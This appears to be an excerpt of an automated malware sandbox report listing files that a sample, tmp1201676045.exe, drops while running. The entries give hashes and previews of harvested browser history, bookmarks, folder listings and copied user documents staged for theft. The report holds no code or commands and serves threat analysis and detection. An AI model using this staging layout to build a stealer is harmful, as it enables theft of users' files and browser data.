SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA328.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA348.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Browsers\Firefox\Bookmarks.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	105
Entropy (8bit):	3.8863455911790052
Encrypted:	false
SSDEEP:	3:RGtjybXLGSWK+ZjMGvRS3ZMz9GSOLj2SjyRE2qJ:hvWF7Ipg9OL2RE2m
MD5:	2E9D094DDA5CDC3CE6519F75943A4FF4
SHA1:	5D989B4AC8B699781681FE75ED9EF98191A5096C
SHA-256:	C84C98BBF5E0EF9C8D0708B5D60C5BB656B7D6BE5135D7F7A8D25557E08CF142
SHA-512:	D1F7EED00959E902BDB2125B91721460D3FF99F3BDFC1F2A343D4F58E8D4E5E5A06C0C6CDC0379211C94510F7C00D7A8B34FA7D0CA0C3D54CBBE878F1E9812B7
Malicious:	false
Preview:	### Get Help ###.### Customize Firefox ###.### Get Involved ###.### About Us ###.### Getting Started ###.

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Browsers\Firefox\History.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	94
Entropy (8bit):	4.886397362842801
Encrypted:	false
SSDEEP:	3:RGEnGPHA9lfMJJEFAN2DSLvIJiMhKVX3L2WdXuvn:DG/CF0EFAN2OLciA8d+v
MD5:	61CDD7492189720D58F6C5C975D6DFBD
SHA1:	6966AFE0DEC5B0ABD90291FA12C0F6B7EF73ED43
SHA-256:	2F345865397FF1952921DB0588A6B589BAF30E67A90E11F7064E515AC162E862
SHA-512:	20D5A1C9809DF4F5B9C789042E5B88928A5246F9EB44F9D265CA3AA6FC9544A582B758ECAF6BBB0E9CEE149BD0AAC5E6C63D954541D1B23A7FC11894121CC0AE
Malicious:	false
Preview:	### Firefox Privacy Notice . Mozilla ### (https://www.mozilla.org/en-US/privacy/firefox/) 1.

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Directories\Desktop.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	821
Entropy (8bit):	5.2209825122334985
Encrypted:	false
SSDEEP:	24:AQsGEcw5qzeEj3OuIbDmNIWCPBtzD2+Gj+u:DEcTzeEj3OuI+RCP7zq+Gj+u
MD5:	165D46C7760F6476B60FC06277C0371B
SHA1:	E8537AFBA9844300B149D2E8F4918D4A08669676
SHA-256:	076A0F7ADBA16FD929FD3BD7AA104167F6B0F73CFE07976CB359A2E8F0C6773F
SHA-512:	D404C46272ECA3BABEDE8F89F8F6A61F7F286012E17DAC488DB88E1078C61A99758915F188FA1E29070CDFC43B121F9B3B22B9BDD0AC61A2D5C1C44E55E7F169
Malicious:	false
Preview:	Desktop\...BJZFPPWAPT\....BJZFPPWAPT.docx....DUUDTUBZFW.xlsx....EWZCVGNOWT.jpg....JDDHMPCDUJ.mp3....KLIZUSIQEN.png....ZGGKNSUKOP.pdf...EIVQSAOTAQ\...EWZCVGNOWT\...GRXZDKKVDB\....BJZFPPWAPT.xlsx....DUUDTUBZFW.jpg....EOWRVPQCCS.png....GRXZDKKVDB.docx....PALRGUCVEH.pdf....ZGGKNSUKOP.mp3...LIJDSFKJZG\...NWCXBPIUYI\...NYMMPCEIMA\...PALRGUCVEH\....GIGIYTFFYT.pdf....GLTYDMDUST.mp3....JDDHMPCDUJ.jpg....PALRGUCVEH.docx....ZGGKNSUKOP.xlsx....ZIPXYXWIOY.png...VWDFPKGDUF\...BJZFPPWAPT.docx...BJZFPPWAPT.xlsx...desktop.ini...DUUDTUBZFW.jpg...DUUDTUBZFW.xlsx...EOWRVPQCCS.png...EWZCVGNOWT.jpg...Excel.lnk...Exodus.txt.lnk...GIGIYTFFYT.pdf...GLTYDMDUST.mp3...GRXZDKKVDB.docx...JDDHMPCDUJ.jpg...JDDHMPCDUJ.mp3...KLIZUSIQEN.png...PALRGUCVEH.docx...PALRGUCVEH.pdf...ZGGKNSUKOP.mp3...ZGGKNSUKOP.pdf...ZGGKNSUKOP.xlsx...ZIPXYXWIOY.png..

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Directories\Documents.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	946
Entropy (8bit):	5.339745133327677
Encrypted:	false
SSDEEP:	24:2QsGEcw5qzeEj38xrqEE+IbDmNIWZzD2+Gj+u:BEcTzeEj38BqEE+I+RZzq+Gj+u
MD5:	8DA6C9CCB8FB817F44D124EA3A36CB32
SHA1:	F5394DE5C41A031D0F58D146C894D33B87B03D48
SHA-256:	4715CA1DB202EF3A7C6BDC4E715070E2F5136D41AE6F3387DAABB989093E2D16
SHA-512:	0842B5139A41A4EBF8D4B191EE3ABCA63962E18E7F93FFD2713235589973F92F265631657F5B3F97D40560BB88013BB817E7793F8876EFE826B8A99DA2E0E93A
Malicious:	false
Preview:	Documents\...BJZFPPWAPT\....BJZFPPWAPT.docx....DUUDTUBZFW.xlsx....EWZCVGNOWT.jpg....JDDHMPCDUJ.mp3....KLIZUSIQEN.png....ZGGKNSUKOP.pdf...EIVQSAOTAQ\...EWZCVGNOWT\...GRXZDKKVDB\....BJZFPPWAPT.xlsx....DUUDTUBZFW.jpg....EOWRVPQCCS.png....GRXZDKKVDB.docx....PALRGUCVEH.pdf....ZGGKNSUKOP.mp3...LIJDSFKJZG\...My Music\....desktop.ini...My Pictures\....Camera Roll\.....desktop.ini....Saved Pictures\.....desktop.ini....desktop.ini...My Videos\....desktop.ini...NWCXBPIUYI\...NYMMPCEIMA\...PALRGUCVEH\....GIGIYTFFYT.pdf....GLTYDMDUST.mp3....JDDHMPCDUJ.jpg....PALRGUCVEH.docx....ZGGKNSUKOP.xlsx....ZIPXYXWIOY.png...VWDFPKGDUF\...BJZFPPWAPT.docx...BJZFPPWAPT.xlsx...desktop.ini...DUUDTUBZFW.jpg...DUUDTUBZFW.xlsx...EOWRVPQCCS.png...EWZCVGNOWT.jpg...GIGIYTFFYT.pdf...GLTYDMDUST.mp3...GRXZDKKVDB.docx...JDDHMPCDUJ.jpg...JDDHMPCDUJ.mp3...KLIZUSIQEN.png...PALRGUCVEH.docx...PALRGUCVEH.pdf...ZGGKNSUKOP.mp3...ZGGKNSUKOP.pdf...ZGGKNSUKOP.xlsx...ZIPXYXWIOY.png..

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Directories\Downloads.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.250781190882039
Encrypted:	false
SSDEEP:	6:3tcfLdfLidpLKIajHaj8jRnBTI/qY0egbth7Aazlf1L7/e/+CfM0+L6:ajliHLKpj6jKRBtvzNltne/+Gj+u
MD5:	045E380F1A93D34F863ACFE7332A0214
SHA1:	FF92A6CAA5F6B2CB74E6BB9619DAB453E9730FAB
SHA-256:	5EEC9051F646662A0680C6645E271D680E8427BBEA317403782FF27085676102
SHA-512:	9533B6D582D46E23D136BA1D5CE3FB6BBF67AA86A09C0CC21C910472334DE57CDBD772F5D252962C287A7F19EE8AD0875386D6AE92E649E2FC73F87DFF31DD60
Malicious:	false
Preview:	Downloads\...BJZFPPWAPT.docx...BJZFPPWAPT.xlsx...desktop.ini...DUUDTUBZFW.jpg...DUUDTUBZFW.xlsx...EOWRVPQCCS.png...EWZCVGNOWT.jpg...GIGIYTFFYT.pdf...GLTYDMDUST.mp3...GRXZDKKVDB.docx...JDDHMPCDUJ.jpg...JDDHMPCDUJ.mp3...KLIZUSIQEN.png...PALRGUCVEH.docx...PALRGUCVEH.pdf...ZGGKNSUKOP.mp3...ZGGKNSUKOP.pdf...ZGGKNSUKOP.xlsx...ZIPXYXWIOY.png..

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Directories\OneDrive.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.023465189601646
Encrypted:	false
SSDEEP:	3:1hiR8LKB:14R8LKB
MD5:	966247EB3EE749E21597D73C4176BD52
SHA1:	1E9E63C2872CEF8F015D4B888EB9F81B00A35C79
SHA-256:	8DDFC481B1B6AE30815ECCE8A73755862F24B3BB7FDEBDBF099E037D53EB082E
SHA-512:	BD30AEC68C070E86E3DEC787ED26DD3D6B7D33D83E43CB2D50F9E2CFF779FEE4C96AFBBE170443BD62874073A844BEB29A69B10C72C54D7D444A8D86CFD7B5AA
Malicious:	false
Preview:	OneDrive\...desktop.ini..

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Directories\Pictures.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.450045114302317
Encrypted:	false
SSDEEP:	3:YzIVqIPLKmwHW8LKKrLKB:nqyLKmYNLKCLKB
MD5:	D430E8A326E3D75F5E49C40C111646E7
SHA1:	D8F2494185D04AB9954CD78268E65410768F6226
SHA-256:	22A45B5ECD9B66441AE7A7AB161C280B6606F920A6A6C25CD7B9C2D4CEB3254D
SHA-512:	1E8139844D02A3009EE89E2DC33CF9ED79E988867974B1291ABA8BC26C30CB952F10E88E0F44A4AEEE162A27E71EAA331CF8AC982B4179DC8203F6F7280BA5AE
Malicious:	false
Preview:	Pictures\...Camera Roll\....desktop.ini...Saved Pictures\....desktop.ini...desktop.ini..

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Directories\Startup.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.053508854797679
Encrypted:	false
SSDEEP:	3:jgBLKB:j4LKB
MD5:	68C93DA4981D591704CEA7B71CEBFB97
SHA1:	FD0F8D97463CD33892CC828B4AD04E03FC014FA6
SHA-256:	889ED51F9C16A4B989BDA57957D3E132B1A9C117EE84E208207F2FA208A59483
SHA-512:	63455C726B55F2D4DE87147A75FF04F2DAA35278183969CCF185D23707840DD84363BEC20D4E8C56252196CE555001CA0E61B3F4887D27577081FDEF9E946402
Malicious:	false
Preview:	Startup\...desktop.ini..

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Directories\Temp.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4382
Entropy (8bit):	5.158641206580438
Encrypted:	false
SSDEEP:	96:4tiCKcwGT+jDM9Zw72fSASbSbdbsuEMnI0kjMC1GA03DjL9y2WUwScML0jg/uZ9h:LYfa2fSASOpgu9nI0kjMC1GA0zfYXkrm
MD5:	206DC27CC237897D53302A5D3BEB6222
SHA1:	9357975236C17A1E2AE8A4A919D4B2D8688B1092
SHA-256:	6F6B2EC198D6CC5BBAEEAF67AE580261017A0175B63F9F1AD491B69560282BE6
SHA-512:	10E2CE99C0F7788D6DE3C2166C2A7ABB4C98C1E9AE8B908626307736C4A6216A79268E50E296EC4C0D06A14636452BF28A0268FF791E8F09CBF42715EB093C70
Malicious:	false
Preview:	Temp\...acrobat_sbx\....Adobe\.....Acrobat\......DC\....NGL\.....NGLClient_AcrobatReader123.6.20320.6 2023-10-04 16-15-42-624.log.....NGLClient_AcrobatReader123.6.20320.6 2023-10-04 16-15-55-956.log.....NGLClient_AcrobatReader123.6.20320.6.log....acroNGLLog.txt...acrocef_low\...acrord32_super_sbx\....Adobe\.....Acrobat\......DC\.......SearchEmbdIndex\...Diagnostics\....EXCEL\.....App1696428505298658900_7B05BF2A-C74F-44F8-B674-AA3F9719008B.log.....App1696428527628431800_6CD9E3BB-4D03-46BD-8615-75A902267162.log.....App1696428537364279100_A2018481-B961-46B4-9328-34939DEAF293.log.....App1696428537364768600_A2018481-B961-46B4-9328-34939DEAF293.log...edge_BITS_6440_1090636871\....4643befd-79b8-4e0c-a2fb-c0e3ee78dcd5...edge_BITS_6440_1191663050\....9e51170b-7adf-40ab-83b6-5f97b13bedcb...edge_BITS_6440_1234978473\....1187695d-8276-4e31-8de1-9e57768989bd...edge_BITS_6440_1289371347\....78549187-a875-4f1e-8dfa-9938ebc29c81...edge_BITS_6440_1318414972\....873489b1-33b2-480a-baa2-641b9e09edcd...ed

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Directories\Videos.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.7950885863977324
Encrypted:	false
SSDEEP:	3:k+JrLKB:k+JrLKB
MD5:	1FDDBF1169B6C75898B86E7E24BC7C1F
SHA1:	D2091060CB5191FF70EB99C0088C182E80C20F8C
SHA-256:	A67AA329B7D878DE61671E18CD2F4B011D11CBAC67EA779818C6DAFAD2D70733
SHA-512:	20BFEAFDE7FEC1753FEF59DE467BD4A3DD7FE627E8C44E95FE62B065A5768C4508E886EC5D898E911A28CF6365F455C9AB1EBE2386D17A76F53037F99061FD4D
Malicious:	false
Preview:	Videos\...desktop.ini..

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	true
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\DUUDTUBZFW.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	true
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\EWZCVGNOWT.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
